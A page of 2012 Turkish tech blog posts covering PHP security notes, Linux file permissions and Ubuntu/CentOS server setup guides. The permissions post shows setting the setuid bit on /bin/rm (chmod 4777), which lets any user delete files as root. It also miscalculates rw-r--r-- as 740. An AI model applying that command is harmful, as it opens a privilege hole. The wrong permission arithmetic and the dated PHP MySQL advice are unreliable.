</form>   Gelen verileri doğrulama işlemi ise şu şekilde yapılacaktır.   <?php

   if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])

   {

      /* Valid Token */

   }

?>   Güvenliği daha da güçlendirmek için bir tokenin sadece 5 dakika boyunca kullanılmasını sağlayabiliriz.   <?php

    $token_age = time() - $_SESSION['token_time'];

    if ($token_age <= 300)

    {

        /* Less than five minutes has passed. */

    }

?> KAYNAK: Essential Php Security Kitabı- O' Rielly Devamı için : Php Guvenlik - 2

Php Guvenlik - 1

php güvenlikPhp ile kod yazarken dikkat etmeniz gereken güvenlik önlemleri ile ilgili aldığım notları birkaç bölüm halinde aktarmaya çalışacağım.

Sistemde herhangi bir hata mesajının kullanıcılara gösterilmesi ciddi bir güvenlik açığıdır. Bütün hata mesajları log dosyalarına yazılmalıdır.Hata mesajlarının güvenlikle ilgili ciddi açıklara neden olabilecek bilgiler yer alabilir. Aşağıdaki kodları kullanarak hataların loglara yazılması sağlanabilir. Ayrıca kritik bilgiler içerebilecek olan hata mesajlarının kullanıcılara gösterilmesinin önüne geçmiş olursunuz.

ini_set('error_reporting', E_ALL | E_STRICT);

ini_set('display_errors', 'Off');

ini_set('log_errors', 'On');

ini_set('error_log', '/usr/local/apache/logs/error_log');   Hata durumlarında çalıştırılmak üzere özel fonksiyonlarımızı yazabiliriz. Bu fonksiyonların hata esnasında çalışması için şu şekilde bir kod yazılabilir.   set_error_handler('my_error_handler');

Aşağıda hata durumunda çalıştırılabilecek örnek bir fonksiyon örneği bulunmaktadır.

function my_error_handler($number, $string, $file, $line, $context)

{

   $error = "= == == == ==\nPHP ERROR\n= == == == ==\n";

   $error .= "Number: [$number]\n";

   $error .= "String: [$string]\n";

   $error .= "File: [$file]\n";

   $error .= "Line: [$line]\n";

   $error .= "Context:\n" . print_r($context, TRUE) . "\n\n";

   error_log($error, 3, '/usr/local/apache/logs/error_log');

}

Aşağıdaki gibi bir kullanım ile sadece Uyarılar için fonksiyonumuzun çalışmasını sağlamış oluruz

set_error_handler('my_warning_handler', E_WARNING);

Kullanıcı çok önemli bir işlem gerçekleştirmek istediğinde, sisteme zaten giriş yapmış olsa bile şifre istenebilir. Bunun örneklerini Facebook ve Twitter'in de uyguladığını görmekteyiz.

Get ve Post ile gelen verilerin atamasının yapılmadığı taktirde değişkenlere boşluk ataması yapmak gerekir . Bunu iki farklı şekilde yapabilirsiniz.

$search = (isset($_GET['search']) ? $_GET['search'] : '');

veya

$search = '';

if (isset($_GET['search']))

{

   $search = $_GET['search'];

}     Kredi kartı bilgisi gibi hassas veriler SSL ile aktarılmalıdır.   Kullanıcıya kredi kartı bilgilerini göstereceğiniz zaman sadece son 4 hanenin gösterilmesi gibi yaklaşımlar benimsenebilir.   Session değişkeni çok hassas bilgiler içerebileceğinden sunucu tarafında tutulmalıdır.   Kullanıcı tarafından gönderilen verilerin düzeltilmeye çalışılmasının güvenlik açıklarına neden olabileceğini dikkate almak gerekiyor.   $clean şeklinde bir değişken belirleyip güvenli olduğunu doğruladığımız değişkenleri bu array içerisine atabiliriz. Daha sonra kodun istenilen yerinde $clean dizisi içerisindeki değişkenleri güvenle kullanabiliriz.   Kullanıcıya gösterilecek verilerin htmlentities( ) fonksiyonundan geçirilmesi gerekir. Bu fonksiyona ek parametrelerler vermemiz gerekir. Bunlar ENT_QUOTES ve UTF-8 parametreleridir. $html isimli arrayimizde de filtrelenmiş ve escape edilmiş verileri tutarız.     $html = array( );

$html['username'] = htmlentities($clean['username'],ENT_QUOTES, 'UTF-8');

echo "<p>Welcome back, {$html['username']}.</p>";     Veritabanı olarak mysql kullanıyorsanız query içerisinde kullanılacak verileri mysql_real_escape_string( ) fonsiyonundan geçirmeniz önemlidir.   Eğer MySql kullanmıyorsanız son çare olarak addslashes( ) kullanmalısınız.   $mysql = array( );

$mysql['username'] =

mysql_real_escape_string($clean['username']);

$sql = "SELECT *

FROM profile

WHERE username = '{$mysql['username']}'";

$result = mysql_query($sql);   KAYNAK: Essential PHP Security O'Rielly Devamı için : Php Guvenlik - 1

Fatal error: Attempt to unset static property hatasi

Php class'larında tanımlanan static özellikler, o classtan kaç kere kullanılacaksa kullanılsın, 1 tane bulunurlar. Yani 10 tane deneme sınıfı üretsek bile, public static $test ten sadece 1 tane olacak. Bu noktada, bu class load olurken, bu property ram'deki yerini ayırdığı için, unset etmek konusunda ise, problem yaşanmaktadır. Mantığa göre bu sınıfa ait bir static özellik herhangi bir yerde unset edilseydi eğer, farklı bir yerden kullanıldığında not set hatası verecekti. Yani olmasını teyid ettiği bir şeyi bulamayacaktı. Bu nedendendir ki aşağıdaki kod,
unset(self::$test);
Fatal error: Attempt to unset static property hatasını vermektedir. (ölümcül hata : static özelliği unset etmeye yönelik girişim). Bu hata aslında sizin bu işlemi yanlış yaptığınız yönündedir. Tavsiye : İlla böyle bir şeye ihtiyacınız var ise, değişkenin tipine göre boş string, Null veya false atayınız. Devamı için : Fatal error: Attempt to unset static property hatasi

21 Ekim 2012 Pazar

linux dosya ve dizin izinleri

Dizin ve dosyalara erişim haklarının belirlenmesi için izinler kullanılmaktadır. Linux sistemlerde bu izinler 3 farklı grup olarak verilmektedir. Bunlardan ilki, dosyanın sahibinin izinleri, ikincisi, dosyanın grubunun izinleri, üçüncüsü, diğer kullanıcıların izinleri. Dosyaların ve dizinlerin sahip oldukları izinleri görmek için, ll gibi bir komut kullanabiliriz. Herhangi bir dizindeyken, ilk sütunda çıkan değerleri inceleyelim.
-rw-rw-r-- 1 khantunckale khantunckale 792438 Oct 19 20:52 warning.jpg
drwxrwxr-x 2 khantunckale khantunckale 4096 Oct 18 15:14 pictures/
-rw------- 1 khantunckale khantunckale 641 Oct 18 01:59 algoritma1.java~
-rw-r--r-- 1 root root 1324 Oct 21 01:17 mysql.txt
-rw-rw-r-- 1 khantunckale khantunckale 0 Sep 30 21:42 mahmut.htm
İlk sütunları inceledikten sonra, 4 farklı kısımdan oluştuğunu söyleyebiliriz. İlk kısım, dosyanın tipini belirten kısımdır. Buna göre, dosyanın sadece bir dosya mı, yoksa dizin mi, veya link mi, ayırt edebiliriz. Normal dosyalarda, ilk kısımda, - işareti vardır. Dizinler için d harfi görünmektedir. Başka bir dosyayı işaret eden linkler (başka bir deyişle kısayol) için l harfi gösterilir. İkinci kısımda, dosyanın sahibinin hakları, üçüncü kısımda dosyanın grubunun hakları, üçüncü kısımda ise diğer kullanıcıların hakları vardır. Erişim hakları, Linux sistemlerde güvenliğin temelini oluşturur. Bu izinler her dosyaya ayrı ayrı verilebildiği için sistem yönetimi çok esnektir.
Dosya tipiSahibin yetkileriGrubun yetkileriDiğer kullanıcılar
drwxrwxrwx
-rwx------
Şimdi, bu izinlerin hangi anlamlara geldiğini inceleyelim. r --> Okuma izni (read access): Dosyanın okuma izni var demek, dosyanın içeriği görülebilir demek. Dizinin okuma izni olduğunda ise, içerdiği dosyaların listesi görülebilir. w --> Yazma izni (write access): Dosyanın yazma izni var demek, dosyanın içeriğini değiştirebilirsiniz yada dosyayı silebilirsiniz demek. Dizine yazma izni verildiğinde ise dizin altındaki dosyalar yazılabilir veya silinebilir. x --> Çalıştırma izni (execute access): Dosyayı çalıştırma hakkı verir. Dizinler için çalıştırma hakkı, o dizine geçip geçememek anlamına gelmektedir. Yukarıdaki gibi üçlüler birbiriyle aynı kalıptadır. Her üçlünün ilk pozisyonunda r harfi vardır, bu ilgili kullanıcının dosyayı okuma yetkisi olduğunu gösterir. Bu pozisyonda bir eksi işareti (-) varsa, kullanıcının okuma yetsiki olmadığını gösterir. Dosya izinlerine bir kaç örnek verelim;
rwxrwxrwx : Dosyayı herkes okuyabilir, herkes bu dosyaya kayıt yapabilir, dosyanın adını değiştirebilir, dosyayı silebilir. Eğer bu bir program dosyası ise, herkes çalıştırabilir.
rwxr-xr-x : Herkes okuyabilir ve program dosyası ise herkes çalıştırabilir. Ama sadece dosyanın sahibi bu dosyada değişiklik yapabilir.
rwx------ : Bu dosyada sadece sahibi tüm işlemleri yapabilir, dosya diğer kullanıcılara kapalıdır.
rw-r--r-- : Dosya program dosyası değil, çünkü kimsenin çalıştırma yetkisi yok. Sahibi okuyup yazabilir ancak diğer kullanıcılar sadece okuyabilir.
rwx--x--x : Sahibi tüm işlemleri yapar, diğer kullanıcılar sadece çalıştırabilirler.

Dosya izinleri nasıl değiştirilebilir?

Dosya ve dizin izinleri sadece sahipleri ve root kullanıcı tarafından tarafından değiştirilebilirler. Bunun için chmod komutu kullanılır . chmod komutu iki şekilde çalıştırılabilir, biri yeni iznin sayısal değerle verilmesi ile diğeri yapılacak değişikliğin sembolik olarak verilmesi ile. Örnek olarak, rw-r--r-- izinini inceleyelim. Verilen haklar için 1, verilmeyen haklar için 0 yazılarak, iznin 2 tabanındaki görüntüsünü elde edelim --> 110100100 Ardından bunu 10'luk tabana çevirelim --> 740 Dosyanın izinlerini, bunun gibi, yani kullanıcısına tüm hakları vermek ve diğer kullanıcıların hepsine sadece okuma iznini verme işlemini, şu şekilde gerçekleriz.
chmod 740 dosya_ismi
İzinleri ayarlarken chmod komutuna sembolik parametreler vermek de aşağıdaki şekilde yapılır. Kullanıcı gruplarının sembolleri : Dosya sahibi (user) : u , dosyanın grubu (group) : g, diğer kullanıcılar (others) : o İzinlerin sembollerinden yukarıda bahsetmiştik : Okuma (read) : r, yazma (write) : w, çalıştırma (execute) : x Dosyaya izinleri vermek için +, izinleri çıkartmak için - işareti kullanılır. Örneğin herkese okuma izini vermek için chmod +r dosya_ismi komutunu kullanabiliriz. Aynı şekilde dosyanın sahibine tüm hakları vermek için chmod u+rwx dosya_ismi komutunu kullanbiliriz.

Dosyanın sahibi nasıl değiştirilebilir?

Bir dosyanın sahibini sadece sistemdeki root kullanıcı değiştirilebilir. Dosya sahibinin değiştirilmesi için chown komutu kullanılır. O da şu şekildedir;
chown zubizaretta dosya_ismi
Bu komut ile dosyanın sahibi zubizaretta olmuştur. Kullanıcı grubunu değiştirmek için de chgrp komutu kullanılır. Örneğin chgrp www dosya_ismi ile, dosyanın kullanıcı grubunu www yapabiliriz. Ayrıca chown komutu, dosyanın kullanıcısını değiştirebildiği gibi kullanucu grubunu da değiştirebilir. O da şu şekilde olur;
chown zubizaretta.www dosya_ismi

t ve s bitleri nedir?

Linux sistemlerde yetkilerin 3 bit uzunluğunda 3 bölümden nasıl oluştuğunu yukarıda kabaca inceledik. Ama aslında izinler için 3 bit uzunluğunda bir bölüm daha vardır. Yani biz, chmod 644 kullandığımızda aslında chmod 0644 kullanmış oluruz. Şimdi biraz bunun hakkında konuşalım. Normalde, (t biti dizinlere yerleştirilmeden) dosyaların silinebilmesi için, dizinin tuttuğu dosyalar, silen kişi tarafından okunabilir olmalı. Herkesin dosya koyabileceği bir dizinimiz varsa, burada herkes herkesin dosyasını silebilir anlamına gelmektedir. t biti bu kuralı değiştirir. t biti kullandığımızda, yalnızca dosya sahibi dosyaları silebilir. t bitini chmod 1777 şeklinde yada chmod a+tw şeklinde kullanbiliriz. Örnek vermek gerekirse, iki kullanıcının olduğu bir sistemde t biti kullanmadığımızda, bir kullanıcı kendine ait olmayan dosyayı silebiliyorken, t biti kullandığımızda bu işlemi gerçekleştiremez. Böylece t bitinin işaretli olduğu bir dizinde herkes kendi oluşturduğu dosya ve dizinleri silebilir. s biti genellikle çalıştırılabilir dosyalara uygulanır. Linux sistemlerde çalıştırılabilir bir dosyanın iki adet kullanıcı id'si mevcut olur. Bunlardan biri uygulamanın dosya sahibi, diğeri de uygulamayı çalıştıracak olan kullanıcıdır. s biti kullanıldığı zaman, uygulama, oturum açmış kullanıcı hakları ile değil uygulama dosyasının sahibinin hakları ile çalışır. Örneğin rm komutunu ele alalım. Rm komutu ile root kullanıcı tüm dizinleri ve dosyaları silmekte yetkilidir. Ancak diğer kullanıcılar sadece kendi home dizinlerinde bu komutu kullanabilirler. Root kullanıcının ana dizinde oluşturduğu bir dizini, normal kullanıcı silmeye çalıştığı zaman Permission denied hatası alacaktır. Ancak, chmod u+s /bin/rm (veya chmod 4777 /bin/rm ) komutunu çalıştırdığımız zaman, normal kullanıcı da root kullanıcı gibi silme hakkına sahip olur.   Devamı için : linux dosya ve dizin izinleri

Android Navigasyon

Merhaba, Son zamanlarda navigasyon cihazlarının populer olduğunu hepimiz biliyoruz. Özellikle İstanbul gibi büyük ve trafiği karmaşık şehirlerde gideceğiniz adresi bulmakta güçlük çekmeniz muhtemel bir durum. En kısa yoldan veya paralı yollar, feribot gibi bir çok seçeneği seçerek istediğimiz şekilde sürüş gerçekleştirebiliyoruz.   Tabi işin ticari boyutu ortaya çıkınca navigasyon pazarından pay elde etmek üzere birçok firma navigasyon üretmeye başladı. Navigasyonla ilgilisi olmayan birçok özellikler ekleyerek müşterileri cezbetmeye çalışıyorlar. Ancak şuda bir gerçek ki her navigasyon cihazı aynı kaliteyi sunmuyor. Bir navigasyon cihazı alırken nelere dikkat etmeli?
  1. Kapı numarasına kadar girebileceğimiz ayrıntılı bir Türkiye haritası
  2. Yeniden hesaplama süresinin kısa sürede tepki vermesi
  3. Sesli yönlendirmesinin net ve anlaşılır olması
  4. GPS bağlantı hızının yüksek olması
  5. Kavşak veya yol ayrılmarında doğru bir biçimde yönlendirme yapabilmesi
  6. Harita güncellemesi
Benim aklıma gelenler bunlar. Bunlara dikkat etmenizi öneririm. Bu bağlamda öne çıkan en iyi navigasyon hem Türkiye hem de avrupa için "Tomtom". Ancak piyasadaki tüm navigasyon cihazlarını cebinde sallayacak olan bu navigasyon firması bu etkenden faydalanarak fiyatlarını biraz yüksek tutuyor. Fiyatları yüksek derken cihazları değil harita güncellemeleri payalı :) Bu adresten de görebileceğiniz gibi 1 yıllık harita güncellemesi 185 TL. Hakkını verdiğinide özellikle belirtmek isterim. Yine bir diğer büyük pazar olan akıllı telefonlarda navigasyon konusunda çözümler getiriyor. Bir navigasyon cihazı almak yerine TomTom'un android uygulamasını almanızı kesinlikle tavsiye ediyorum. 2 gündür kullanan birisi olarak harika sonuçlar verdiğini belirtmek istedim. Normal cihazından hiçbir farkı yok. Harika bir uygulama. https://play.google.com/store/apps/details?id=com.tomtom.turkey&feature=more_from_developer Yukarıda google play de ki sayfasının linkidir. Türkiye haritasının ücreti 45.57 $ Navigasyon cihazı almak isteyipte akıllı telefonu olanlar için şiddetle tavsiye ettiğim bu uygulamayı tanıtmak istedim. Detaylarını ve videosunu Google Play'de ki sayfadan da öğrenebilirsiniz.   Devamı için : Android Navigasyon

18 Ekim 2012 Perşembe

ubuntu 12.10 yayinlandi! (nasil upgrade ederim?)

Ubuntu 12.10 çıktı. Resmi internet sitesinden kolayca indirip deneyebilirsiniz. Yukarıdaki resim de, resmi internet sitesinden alınmıştır, Avoid the pain of Windows 8. :D 12.04 (Precise Pangolin) kullananlar için 12.10'a (Quantal Quetzal) nasıl upgrade edileceğini kısaca anlatmak istiyorum. İlk olarak Update Manager'ı açıyoruz. Sol alt kısımda yer alan Settings...'e tıklayarak, en altta yer alan Notify me of a new Ubuntu version seçeneğini For any new versiyon olarak düzenliyoruz. Oradan çıkış yaptıktan sonra, Update Manager penceresinin üst kısmında, 12.10'a upgrade etmeniz için bir tuş beliriyor. İyi kullanımlar. Devamı için : ubuntu 12.10 yayinlandi! (nasil upgrade ederim?)

17 Ekim 2012 Çarşamba

Ubuntu Masaüstüne Kısayol Oluşturmak

Merhaba, Ubuntu yeni sürümlerinde kullanılan Unity arayüzü ile masaüstüne kısayol oluşturmak biraz sancılı hale geldi. Yine bardağın dolu tarafından bakmak gerekirse klavye kullanımına yönlendirdiği için iyi bir iş yaptırmışta oluyor diyebiliriz. Yine de hiçbirşey imkansız değil. Kısayol oluşturma işlemi için Gnom'un bir paketine ihtiyaç duyuyoruz. Bu paket gnom-panel. Kurulumunu aşağıda belirtiyorum :
sudo apt-get install --no-install-recommends gnome-panel
Hemencecik kurduk. Masaüstüne yeni bir kısayol oluşturmak içinde yine aşağıda belirteceğim komutu yazmanız gerekecek :
gnome-desktop-item-edit ~/Desktop/ --create-new
Bu komutu çalıştırdığınızda bir pencere açılacak. Bu pencereye kısayolunuzun ismini, kısayol program ise program yolunu, klasör ise pathini dosya ise yine dosya tam pathini vermeniz gerekiyor. Title ve icon gibi şeyleride seçtikten sonra okey diyoruz ve masaüstüne kısayolumuz geliyor. İşlem bu kadardır. Umarım işinize yarar. Saygılar sevgiler.   Devamı için : Ubuntu Masaüstüne Kısayol Oluşturmak

Ubuntu phpMyAdmin Kurulumu

Merhaba, Ubuntu platformu üzerinde phpMyAdmin kurulumunu nasıl yapacağınız konusunda bilgilerimi paylaşacağım. Konsoldan mysql komutları çalıştırabileceğiniz gibi phpMyAdmin size ciddi bir kullanım kolaylığı sağlayacak olan bir projedir.
sudo apt-get install phpmyadmin
Yukarıdaki komutu çalıştırarak phpmyadmin kurulumu yapmış oluyoruz. Ancak henüz ayarlarımız bitmedi.
sudo nano /etc/apache2/apache2.conf
Komutunu çalıştırarak apache web sunucumuzun ayarlarının bulunduğu dosyayı düzenleme moduna geçiyoruz. En alt satıra inerek aşağıdaki ayarları ekliyoruz.
Include /etc/phpmyadmin/apache.conf
Son olarakta apache web sunucumuzu yeniden başlatıyoruz.
sudo /etc/init.d/apache2 restart
http://localhost/phpmyadmin diyerek phpMyAdmin'e erişebilirsiniz. Sizden giriş için mysql kullanıcı adı (root) ve şifresini isteyecektir. Eğer şifrenizibelirlemediyseniz veya unuttuysanız bu yazıyı okumanızı tavsiye ederim. İşlem bu kadardır. Afiyet olsun. Devamı için : Ubuntu phpMyAdmin Kurulumu

Ubuntu Rewrite Modulü Kurulumu (Etkinleştirilmesi)

Merhaba, Ubuntu platformunda rewrite kurulumunu(etkinleştirilmesi) anlatacağım. İşinize yarayacaktır diye düşünüyorum. (apache kurulu varsayılmıştır) Ne işe yarar bu modül? Apache web sunucusunda URL yi yeniden yazma ve düzenleme iznini verir. Tam olarak ne işe yaradığını öğrenmek için arşivimizdeki bu yazıyı okumanızı tavsiye ediyorum.
sudo a2enmod rewrite
Yukarıdaki komutu çalıştırarak modülü etkinleştiriyoruz. Daha sonra ilgili projenizin vhost dosyasında birkaç düzenleme yapmamız gerekecek.
sudo nano /etc/apache2/site-available/default
Açılan vhost dosyasında aşağıdaki değişiklikleri yapmanız gerekiyor. İlk açtığınızdaki durumunu ve yanına okla yapmanız gereken düzenlemeyi belirtiyorum. AllowOverride None -> AllowOverride All Görmüş olduğunuz tüm "AllowOverride None" ları "AllowOverride All" a çeviriyoruz ve kaydedip çıkıyoruz. Son olarak apache'yi yeniden başlatacağız.
sudo /etc/init.d/apache2 restart
Modül artık aktifleşti. Projenizde kullanabilirsiniz, hayırlı olsun. Devamı için : Ubuntu Rewrite Modulü Kurulumu (Etkinleştirilmesi)

16 Ekim 2012 Salı

ubuntu RabbitVCS kurulumu - TortoiseSVN alternatifi (ubuntu 12.04)

Projelerinizde versiyon kontrol sistemleri kullanıyorsanız, ve linux kullanıyorsanız, hoşgeldiniz. Eğer versiyon kontrol sistemleri ile ilgili pek bilgi sahibi değilseniz, buradan başlayabilirsiniz. Daha sonra bunların en çok kullanılanlarından GIT ve SVN arasındaki karşılaştırma için buraya göz atabilirsiniz. Ücretsiz private SVN (2 kişiye kadar) için buraya, aynı şekilde ücretsiz private GIT (5 kişiye kadar) için buraya göz atmanız faydalı olabilir. Versiyon kontrol sistemlerini konsoldan kullanmak için buralardaki yazılarımıza da göz atabilirsiniz -->  [SVN] - [GIT] Şimdi gelelim esas konumuza. Kurulumunu gerçekleştireceğimiz program, RabbitVCS, linux ortamımızda versiyon kontrol sistemlerini basitçe kullanmamızı sağlayan bir program. Kurulumdan sonra, aynı TortoiseSVN gibi kullanacağız. Arayüz neredeyse aynı :) RabbitVCS sadece SVN için değil, GIT için de kullanılabiliyormuş, ikisi bir arada! Ancak ben şu an sadece SVN ile kullanıyorum, GIT ile kullandıktan sonra, karşılaştığım şeyleri ayrı bir yazıda anlatacağım. RabbitVCS'nin internet sitesine buradan erişebilirsiniz; http://rabbitvcs.org/ İlk olarak RabbitVCS ppa ekliyoruz;
sudo add-apt-repository ppa:rabbitvcs/ppa
Ardından da install ediyoruz;
sudo apt-get install rabbitvcs-core rabbitvcs-nautilus3 rabbitvcs-cli
Ayrıca eğer istiyorsak gedit extension da ekleyebiliriz;
sudo apt-get install rabbitvcs-gedit
  Bu işlemlerden sonra bilgisayarımızı yeniden başlattığımızda, versiyon kontrol sistemini rahatça kullanabiliriz. Yapmanız gereken sadece sağ tık!   Devamı için : ubuntu RabbitVCS kurulumu - TortoiseSVN alternatifi (ubuntu 12.04)

Ubuntu nginx uzerine php fastcgi kurulumu (php-fcgi)

Daha önceden bu yazımızda nginx kurulumunu anlatmıştık. (sadece kurmak, ayarlamak değil.) Şimdi ise, nginx üzerine php fastcgi kurma işlemini yapalım. Aşağıdaki komut ile sistemimize gerekli paketleri kuralım.
apt-get install php5-cli php5-cgi spawn-fcgi psmisc
Artık sistemimizde php fcgi ile ilgili paketler yüklendi. Ancak bunu dürtecek bir mekanizmamız henüz yok. Bu yüzden nginx ayarlarında henüz bunu çağıramıyoruz. Şimdi bunu dürtebilir hale getirelim. Aşağıdaki içerikler ile /usr/bin/php-fcgi adında bir dosya üretelim. Bu dosyaya göre php 9000 nolu portta çalışacak, ve 127.0.0.1 (localhost) için hizmet verecektir. Bu hizmet www-data adlı kullanıcı ve www-data adlı grup ile ilgili oluşacaktır. /usr/bin/php-fcgi dosyası
#!/bin/bash    FASTCGI_USER=www-data  FASTCGI_GROUP=www-data  ADDRESS=127.0.0.1  PORT=9000  PIDFILE=/var/run/php-fcgi/php-fcgi.pid  CHILDREN=6  PHP5=/usr/bin/php5-cgi    /usr/bin/spawn-fcgi -a $ADDRESS -p $PORT -P $PIDFILE -C $CHILDREN -u $FASTCGI_USER -g $FASTCGI_GROUP -f $PHP5
Chmod vererek de çalıştırabilir hale getirelim. Bunun için de aşağıdaki kodu çalıştıralım :
chmod +x /usr/bin/php-fcgi
Her şey yolunda gidiyor gibi gözüküyor. Ancak bu bir hizmet ve başlatma durdurma gibi özellikleri olması gerekiyor. yani özetle, /etc/init.d/ içerisine bir şeyler yapmamız gerekiyor.   /etc/init.d/php-fcgi adlı bir dosya üretiniz. /etc/init.d/php-fcgi dosyası : 
#!/bin/bash    PHP_SCRIPT=/usr/bin/php-fcgi  FASTCGI_USER=www-data  FASTCGI_GROUP=www-data  PID_DIR=/var/run/php-fcgi  PID_FILE=/var/run/php-fcgi/php-fcgi.pid  RET_VAL=0    case "$1" in      start)        if [[ ! -d $PID_DIR ]]        then          mkdir $PID_DIR          chown $FASTCGI_USER:$FASTCGI_GROUP $PID_DIR          chmod 0770 $PID_DIR        fi        if [[ -r $PID_FILE ]]        then          echo "php-fcgi already running with PID `cat $PID_FILE`"          RET_VAL=1        else          $PHP_SCRIPT          RET_VAL=$?        fi    ;;      stop)        if [[ -r $PID_FILE ]]        then          kill `cat $PID_FILE`          rm $PID_FILE          RET_VAL=$?        else          echo "Could not find PID file $PID_FILE"          RET_VAL=1        fi    ;;      restart)        if [[ -r $PID_FILE ]]        then          kill `cat $PID_FILE`          rm $PID_FILE          RET_VAL=$?        else          echo "Could not find PID file $PID_FILE"        fi        $PHP_SCRIPT        RET_VAL=$?    ;;      status)        if [[ -r $PID_FILE ]]        then          echo "php-fcgi running with PID `cat $PID_FILE`"          RET_VAL=$?        else          echo "Could not find PID file $PID_FILE, php-fcgi does not appear to be running"        fi    ;;      *)        echo "Usage: php-fcgi {start|stop|restart|status}"        RET_VAL=1    ;;  esac  exit $RET_VAL
Neredeyse geldik. Aşağıdaki komutlarla da php-fcgi yı başlatabilirsiniz.
chmod +x /etc/init.d/php-fcgi  update-rc.d php-fcgi defaults  /etc/init.d/php-fcgi start
Tabi bu noktada nginx imizi de artık ayarlamamız gerekiyor. /etc/nginx/sites-available/www.deneme.com dosyası oluşturalım. 
server {      server_name www.deneme.com deneme.com;      access_log /srv/www/www.deneme.com/logs/access.log;      error_log /srv/www/www.deneme.com/logs/error.log;      root /srv/www/www.deneme.com/public_html;        location / {          index  index.html index.htm;      }        location ~ \.php$ {          include /etc/nginx/fastcgi_params;          fastcgi_pass 127.0.0.1:9000;          fastcgi_index index.php;          fastcgi_param SCRIPT_FILENAME /srv/www/www.deneme.com/public_html$fastcgi_script_name;      }  }
Artık /srv/www/www.deneme.com/public_html/index.php dosyamızı ve içerisine phpinfo(); komutunu yazıp çalıştırabilir hale geldik. hemen bir nginx i başlatalım, veya çalışıyorsa yeniden başlatalım.  
service nginx restart
Devamı için : Ubuntu nginx uzerine php fastcgi kurulumu (php-fcgi)

Ucretsiz GIT hizmeti - bitbucket.org

Projenize başlarken versiyon kontrol sistemlerinden birini kullanacaksanız, ve projeniz open source değilse, nasıl yapacaksınız? Eğer SVN ile ilgileniyorsanız sizi buraya alalım. Ama eğer GIT ile ilgileniyorsanız doğru yerdesiniz :) Bitbucket.org 5 kullanıcıya kadar size limitsiz ve ücretsiz repo hizmeti sunuyor. Diğer paketlerini incelemek isterseniz buraya göz atabilirsiniz. Kişisel olarak hesap açabileceğiniz gibi, takım olarak da hesap açabiliyorsunuz. Onu da şuradan yapabilirsiniz. İyi çalışmalar!   Devamı için : Ucretsiz GIT hizmeti - bitbucket.org

ubuntu mysql kurulumu (Ubuntu 12.04)

Ubuntu üzerine mysql'in güncel sürümünü kurmak için root yetkisine sahip olarak, aşağıdaki kodu çalıştırmanız yeterli.
apt-get install mysql-server
Bu komuttan sonra, yükleyeme başlayacak, ve sizden bir süre sonra root şifresi talep edecektir. root şifrenizi de belirledikten sonra kurulum kendiliğinden tamamlanacaktır. Mysql'e bağlanmanız için grekli client da siz ekstra bir şey yapmanıza gerek kalmadan yüklenmiş olacaktır. Denemek için ise,
mysql -u root -p
yazınız. Mysql için az önce belirlediğiniz root şifrenizi girdikten sonra mysql konsoluna girmişsiniz demektir. Eğer bağlanmıyorsa başlatmayı deneyiniz.
service mysql start   service mysql stop
Komutlarıyla da mysql servisini başlatıp durdurabilirsiniz. mysql in process olarak çalışıp çalışmadığını ise
ps aux | grep mysql
komutu ile ayıklayabilirsiniz. Devamı için : ubuntu mysql kurulumu (Ubuntu 12.04)

ubuntu nginx kurulumu (Ubuntu 12.04)

Nginx kurulumu, kısa anlatımdan göreceğiniz gibi gayet basit. Aşağıdaki komut ile Ubuntu sisteminize doğrudan nginx'i kurabilirsiniz.
root@ubuntu:/home/emre# : apt-get install nginx
Bu komuttan sonra
service nginx start  service nginx stop
gibi komutlar ile nginx hizmetinizi başlatıp durdurabilirsiniz. nginx in çalışıp çalışmadığını ise,
ps aux | grep nginx
yazarak ayıklayabilirsiniz. Devamı için : ubuntu nginx kurulumu (Ubuntu 12.04)

15 Ekim 2012 Pazartesi

Ucretsiz SVN hizmeti - unfuddle.com

Versiyon kontrol sistemi desteği ile bir projeye başlamak istiyorsanız, son zamanlarda bunu sourceforge, veya github gibi siteler üzerinden yapabiliyorsunuz. Ancak bu siteler, repoları gizli (private) olarak kullanmanıza izin vermiyor. Ancak opensource projelerinizi buralardan yürütebiliyorsunuz. Peki ya, kodunuzu paylaşmak istemiyorsanız?

Unfuddle.com nedir?

İşte yukarıda bahsettiğim gibi kodunuzu paylaşmak istemiyorsanız, www.unfuddle.com u tercih edebilirsiniz. Unfuddle kayıt sayfasında ücretli planların hemen altında ücretiz ve gizli planını seçebiliyor, 2 kullanıcı, 1 proje için ebedi ücretiz kullanabiliyorsunuz. Üstelik ücretsiz planda bile ssl hizmeti aktif. Panenize giriş yaptıktan sonra, orada ticket'lar açıp, proje yönetim gereçlerini kullanabiliyorsunuz. SVN hizmetinizi İhtiyacı olanlara tavsiye ederim. Devamı için : Ucretsiz SVN hizmeti - unfuddle.com

fsck (file-system-check) komutu - Centos5

fsck komutu nedir?

fsck, file system check , yani dosya sistemini kontrol etmek manasına gelen bir komuttur. Görevi, dosya sisteminiz üzerinde oluşan hataları denetler ve bunları gidermeye çalışır.

Centos 5 üzerinde fsck komutunu çalıştırmak

mount edilmiş dosya sistemi üzerinde fsck komutunu çalıştırmak, tekli kullanıcı modunda dahi olsanız, gerçekten kötü bir fikir olabilir. Bu işlem için size 2 yol sunabiliriz.

CD'den boot etmek

Bilgisayarınızı, içinde CentOS olan bir CD den boot edin. fsck yı disklerinizi mount etmeden çalıştıracaksınız. Bunun için bu CD deki işletim sisteminden başlattığınızda, boot into Linux Secure Mode (linux kurtarma modunda başlamak)
boot: linux rescue
Size sorarsa eğer dosya sisteminizi mount edeyim mi diye, siz HAYIR'ı işaretleyin.  Bahsettiğim gibi, mount edilmiş dosya sistemi üzerinde fsck komutunu çalıştıramazsınız. (bir işe yaramaz.) Kurtarma modundayken hangi partition ile ilgili yapmak istiyorsanız o partition için şu kodu çalıştırın. (ben /dev/sda1 için yaptım)
fsck -f /dev/sda1
Eğer burada partition'larınızı oluşturmak için Linux LVM yi kullandıysanız, bu partitionları fsck yapmadan önce şu anda erişilebilir hale getirmeniz gerekiyor
lvm pvscan  lvm vgscan  lvm lvchange -ay VolGroup00  lvm lvscan
sonrasında fsck:
fsck -f /dev/VolGroup00/LogVol00

Yeniden başlatırken çalıştırmak

Eğer aşağıdaki komutu yazarsanız, CentOS bir fsck isteği ile yeniden başlayacak, ve açılırken diskleri mount etmeden hemen önce fsck işlemini yapacak.
bash# shutdown -Fr now
Bu metod daha kolaydır. Sunucunuza disk yerleştirme vb zahmeti yoktur. Özellikle uzak sunucularda mecburen bunu kullanacaksınız gibi gözüküyor :)
Devamı için : fsck (file-system-check) komutu - Centos5

11 Ekim 2012 Perşembe

Dubluve.net 1 yasinda

